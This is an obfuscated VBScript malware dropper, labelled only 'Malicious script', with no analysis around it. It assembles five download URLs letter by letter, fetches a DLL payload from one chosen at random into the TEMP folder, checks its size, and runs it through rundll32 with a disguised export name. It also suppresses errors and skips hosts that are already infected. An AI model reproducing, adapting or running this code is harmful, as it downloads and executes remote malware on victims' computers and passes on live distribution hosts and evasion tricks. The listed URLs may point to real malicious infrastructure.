Malicious script

On Error Resume Next
Const Jk7 = 1, RYg6 = 2, GEi = 8
Const Og = 1, DVe = 2, Jg5 = "437", SJz8 = 2
Function DNk(XJw8)
Dim LFr, AEd3, HJx
Set LFr = CreateObject("ADODB.Stream")
LFr.type = DVe
LFr.Charset = Jg5
LFr.Open
LFr.LoadFromFile XJw8
HJx = LFr.ReadText
LFr.Close
DNk = Yj(HJx)
End Function
Sub CBj(XJw8, ZJe)
Dim LFr, HJx
Set LFr = CreateObject("ADODB.Stream")
LFr.type = DVe
LFr.Charset = Jg5
LFr.Open
HJx = Nj2(ZJe)
LFr.WriteText HJx
LFr.SaveToFile XJw8, SJz8
LFr.Close
End Sub
Function Bs8(Wk9)
Dim HJx, Dd8(0)
If Wk9 <= 0 Then
Err.Raise 50001, "", "123", "", 0
ElseIf Wk9 = 1 Then
Bs8 = Dd8
Else
HJx = Space(Wk9-1)
Bs8 = Split(HJx, " ")
End If
End Function
Function Zq6(url)
Dim YDh, Bq0, AEd3, Bg
Dim OBp, MEk(1)
Set YDh = CreateObject("Scripting.FileSystemObject")
MEk(0) = "WinHttp.WinHttpRequest.5.1"
MEk(1) = "MSXML2.XMLHTTP"
For Each OBp in MEk
Err.Clear
Set Bq0 = CreateObject(OBp)
If Err.Number = 0 Then
Exit For
End If
Next
Bq0.Open "GET", url, False
Bq0.Send
AEd3 = Bs8(LenB(Bq0.ResponseBody))
For Bg = 1 To LenB(Bq0.ResponseBody)
AEd3(Bg-1) = AscB(MidB(Bq0.ResponseBody, Bg, 1))
Next
Zq6 = AEd3
End Function
Sub Ye( RFz5, DJc )
Dim Bg, Rq5, YDh, Bq0, QPn5
Set YDh = CreateObject( "Scripting.FileSystemObject" )
If YDh.FolderExists( DJc ) Then
QPn5 = YDh.BuildPath( DJc, Mid( RFz5, InStrRev( RFz5, "/" ) + 1 ) )
ElseIf YDh.FolderExists( Left( DJc, InStrRev( DJc, "\" ) - 1 ) ) Then
QPn5 = DJc
Else
Exit Sub
End If
Set Rq5 = YDh.OpenTextFile( QPn5, RYg6, True )
Set Bq0 = CreateObject( "WinHttp.WinHttpRequest.5.1" )
Bq0.Open "GET", RFz5, False
Bq0.Send
If LenB(Bq0.ResponseBody) < 100000 Or LenB(Bq0.ResponseBody) > 250000 Then
Err.Raise 50011, "", "received shit", "", 0
Exit Sub
End If
For Bg = 1 To LenB( Bq0.ResponseBody )
Rq5.Write Chr( AscB( MidB( Bq0.ResponseBody, Bg, 1 ) ) )
Next
Rq5.Close( )
End Sub
Function UOh()
Dim BRq, TBh, Be6
Set BRq = CreateObject("WScript.Shell")
Set TBh = BRq.Environment("System")
Be6 = TBh("PROCESSOR_ARCHITECTURE")
If LCase(Be6) = "amd64" Then
UOh = BRq.ExpandEnvironmentStrings("%SystemRoot%\SysWOW64\rundll32.exe")
Else
UOh = BRq.ExpandEnvironmentStrings("%SystemRoot%\system32\rundll32.exe")
End If
End Function
Sub UYw0(Wi, KBq, Hk4)
Dim BRq, YDh, Rq5, WWp, Jx5
Set BRq = CreateObject("WScript.Shell")
Set YDh = CreateObject("Scripting.FileSystemObject")
Set Rq5 = YDh.GetFile(Wi)
WWp = Rq5.ShortPath
Jx5 = UOh() + " " + WWp + "," + KBq + " " + Hk4
If 2 > 1 Then
BRq.Run(Jx5)
End If
End Sub
Function Kf7(Wi)
Dim YDh
Set YDh = CreateObject("Scripting.FileSystemObject")
Kf7 = YDh.FileExists(Wi)
End Function
Function Jq0(Wi)
Dim YDh, Rq5
Set YDh = CreateObject("Scripting.FileSystemObject")
Set Rq5 = YDh.GetFile(Wi)
Jq0 = Rq5.ShortPath
End Function
Function Ev6(Qt, UHs)
Dim Wk9
Wk9 = CDbl(Int(CDbl(Qt)/CDbl(UHs)))
Ev6 = CDbl(Qt) - Wk9 * CDbl(UHs)
End Function
Function Vp(Gx, HJx)
HJx(1) = 172 * HJx(1) Mod 30307
HJx(0) = 171 * HJx(0) Mod 30269
HJx(2) = 170 * HJx(2) Mod 30323
Dim ZWw
ZWw = Ev6((CDbl(HJx(0))/30269.0 + CDbl(HJx(1))/30307.0 + CDbl(HJx(2))/30323.0), 1.0)
Vp = Int(ZWw * CDbl(Gx))
End Function
Function Va6(HAq3)
Va6 = CInt(HAq3*Rnd())
End Function
Sub YXi0(Wc7)
WScript.Sleep(Wc7)
End Sub
Randomize
Dim EHi(2), EKj9, HZr(4), XJw8
EHi(0) = 21898
EHi(1) = 24911
EHi(2) = 26762
EKj9 = 50
If 1=1 Then
HZr(0) = "ht"&"tp://" & "5" & "1" & "q" & "u" & "d" & "u" & "." & "c" & "o" & "m" & "/" & "m" & "q" & "y" & "2" & "p" & "j" & "4"
End If
If 1=1 Then
HZr(1) = "ht"&"tp://" & "b" & "j" & "z" & "s" & "t" & "." & "c" & "n" & "/" & "q" & "g" & "q" & "4" & "d" & "x"
End If
If 1=1 Then
HZr(2) = "ht"&"tp://" & "d" & "a" & "n" & "a" & "p" & "a" & "r" & "d" & "a" & "z" & "." & "n" & "e" & "t" & "/" & "z" & "r" & "r" & "8" & "r" & "t" & "z"
End If
If 1=1 Then
HZr(3) = "ht"&"tp://" & "l" & "i" & "t" & "c" & "h" & "l" & "o" & "p" & "e" & "r" & "." & "c" & "o" & "m" & "/" & "6" & "6" & "q" & "p" & "o" & "s" & "7" & "m"
End If
If 1=1 Then
HZr(4) = "ht"&"tp://" & "z" & "i" & "z" & "z" & "h" & "a" & "i" & "d" & "a" & "." & "c" & "o" & "m" & "/" & "6" & "z" & "d" & "y" & "9" & "i" & "v" & "o"
End If
XJw8 = "TOHYDHko8jeC3IES"
Dim BRq, Yt1, Vo, Xp1, Wc7
Set objShell = CreateObject("WS"&"cript.Shell")
Yt1 = objShell.ExpandEnvironmentStrings("%" & "T"&"EMP%")
Dim CTu, Wf, YSj, ZVv6, Bg
Wf = False
For Bg=0 To 10: Do
Vo = Yt1 + "\" + XJw8 + Chr(48+Bg) + ".dl"&"l"
If Kf7(Vo) Then
Xp1 = Jq0(Vo) & ".txt"
If Kf7(Xp1) Then
WScript.Quit(0)
End If
End If
If Not Wf Then
CTu = Va6(UBound(HZr))
Ye HZr(CTu), Vo
If Err.Number <> 0 Then
Exit Do
End If
Wf = True
End If
UYw0 Vo, "A"&"d"&"vancedStoragePasswordConfig", "1"&"47"
WScript.Quit(1)
Loop While False: Next
If 3=3 Then
WScript.Quit(1)
End If